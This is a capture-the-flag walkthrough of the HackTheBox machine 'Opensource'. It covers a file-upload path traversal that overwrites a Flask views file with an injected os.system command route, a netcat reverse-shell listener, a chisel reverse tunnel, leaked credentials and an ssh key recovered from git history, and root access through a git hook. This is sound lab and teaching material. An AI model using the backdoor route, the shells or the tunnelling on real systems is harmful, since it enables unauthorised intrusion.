Home Opensource writeup
Post
Cancel
Preview Image

Opensource writeup

Summary

Foothold

We start out by doing an nmap port scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Nmap 7.92 scan initiated Wed Jun  8 16:04:07 2022 as: nmap -sC -sV -o nmap/ini.txt opensource.htb
Nmap scan report for opensource.htb (10.129.160.73)
Host is up (0.067s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
|   256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_  256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp   open     http    Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
...
3000/tcp filtered ppp
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun  8 16:05:42 2022 -- 1 IP address (1 host up) scanned in 94.69 seconds

The system has 3 ports open, 22 80 and 3000. Port 80 is hosting a flask-based web application based on the http-server-header and port 3000 is hosting an unknown, filtered service. We start out by visitng the web application hosted on port 80:

welcome page for opensource Landing page for opensource

The website allows us to download a zip archive containing the source code for the web application.

The source code contains the following code:

1
2
3
4
5
6
7
8
9
@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')

If we take a look at the documentation for the os.path.join() method, we gather that “If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.” This means that if we give the application a file named like so /app/app/views.py, it will overwrite the views.py of the app, which in this case is the file that handles the routes of the application. This means if we add a function like

1
2
3
@app.route('/exec')
def cmd():
    return os.system(request.args.get('cmd'))

We can then run commands on the system hosting the application.

We can use burpsuite to intercept the upload request, and then rename the file.

burp requests

We then get redirected to the upload page telling us we have successfully uploaded the file:

Successful upload

If we attempt to access the exec endpoint with the argument “?cmd=ls” we get the following page:

werkzeug error page

This indicate that we successfully overwrote the views.py file, since the application seems to attempt to carry out the command. If we then use a URL encoded python reverse shell we get access to the container hosting the application

1
2
3
4
5
┌──(bitis㉿workstation)-[~/htb/Machines/opensource]
└─$ nc -lvnp 4444              
listening on [any] 4444 ...
connect to [10.10.17.182] from (UNKNOWN) [10.129.82.65] 53948
/app #         

To gain a foothold on the actual system hosting the container, we need to do some more enumeration of the git repo we downloaded earlier. If we run git branch on it we see that a dev branch exists. We can then switch branches, check the logs and then differences between the different commits:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(bitis㉿workstation)-[~/htb/Machines/opensource/source]
└─$ git branch
* dev
  public
                                                                                                                                                                                                                                            
┌──(bitis㉿workstation)-[~/htb/Machines/opensource/source]
└─$ git log                                                                                                                                                                                                                             1 ⨯
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:47:24 2022 +0200

    ease testing

commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:54 2022 +0200

    added gitignore

commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:16 2022 +0200

    updated

commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:45:17 2022 +0200

    initial

┌──(bitis㉿workstation)-[~/htb/Machines/opensource/source]
└─$ git diff ee9d9f1 a76f8f7 
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
new file mode 100644
index 0000000..5975e3f
--- /dev/null
+++ b/app/.vscode/settings.json
@@ -0,0 +1,5 @@
+{
+  "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
+  "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
+  "http.proxyStrictSSL": false
+}
...

The commit added the credentials dev01:Soulless_Developer#2022.

Remembering that we found port 3000 in our portscan, but that it was filtered on our machine, we use chisel to port forward port 3000 to our machine. On the victim machine we do the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(bitis㉿workstation)-[~/htb/Machines/opensource]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.17.182] from (UNKNOWN) [10.129.82.65] 54294
/app # cd /tmp 
cd /tmp
/tmp # ./chisel client -v 10.10.17.182:8000 R:3000:172.17.0.1:3000
./chisel client -v 10.10.17.182:8000 R:3000:172.17.0.1:3000
2022/06/25 19:19:27 client: Connecting to ws://10.10.17.182:8000
2022/06/25 19:19:27 client: Handshaking...
2022/06/25 19:19:28 client: Sending config
2022/06/25 19:19:28 client: Connection error: server: Server cannot listen on R:3000=>172.17.0.1:3000
2022/06/25 19:19:28 client: Give up
/tmp # ./chisel client -v 10.10.17.182:8001 R:3000:172.17.0.1:3000
./chisel client -v 10.10.17.182:8001 R:3000:172.17.0.1:3000
2022/06/25 19:20:32 client: Connecting to ws://10.10.17.182:8001
2022/06/25 19:20:32 client: Handshaking...
2022/06/25 19:20:33 client: Sending config
2022/06/25 19:20:33 client: Connected (Latency 46.611837ms)
2022/06/25 19:20:33 client: tun: SSH connected

On the attacker machine

1
2
3
4
5
6
┌──(bitis㉿workstation)-[~/tools]
└─$ ./chisel server --reverse -p 8001
2022/06/25 21:19:51 server: Reverse tunnelling enabled
2022/06/25 21:19:51 server: Fingerprint 0SM8R8ZA9ESFE6zEmRmfs2LEpK+bGOB/CVvKKez7GZc=
2022/06/25 21:19:51 server: Listening on http://0.0.0.0:8001
2022/06/25 21:20:31 server: session#1: tun: proxy#R:3000=>172.17.0.1:3000: Listening

Now anything we send to port 3000 on our machine will be send to port 3000 on the target host.

When we visit localhost:3000 we get greeted with the following:

gitea service

We can then use the credentials found previously to login as dev01

logged into gitea as dev01

When looking at the commits of dev01, we find an ssh key:

dev01 ssh key

We can then save this ssh key and log in as dev01 on the target machine via ssh.

Privilege escalation

Once logged in as dev01, we get and run pspy to snoop on any commands being run.

1
2
3
4
2022/06/25 19:32:01 CMD: UID=0    PID=22743  | /bin/bash /usr/local/bin/git-sync 
2022/06/25 19:32:01 CMD: UID=0    PID=22744  | git commit -m Backup for 2022-06-25 
2022/06/25 19:32:01 CMD: UID=0    PID=22745  | /bin/bash /usr/local/bin/git-sync 
2022/06/25 19:32:01 CMD: UID=0    PID=22748  | git push origin main 

Based on the output we can tell that the root user is running git commands such as commit and push. If we consult GTFObins, we can tell that this is exploitable by adding a command we wish to run as root to a file named .git/hooks/pre-commit.sample, renaming it and then waiting for root to commit something.

GTFObins

Once this is done we have root access. Rooted!

This post is licensed under CC BY 4.0 by the author.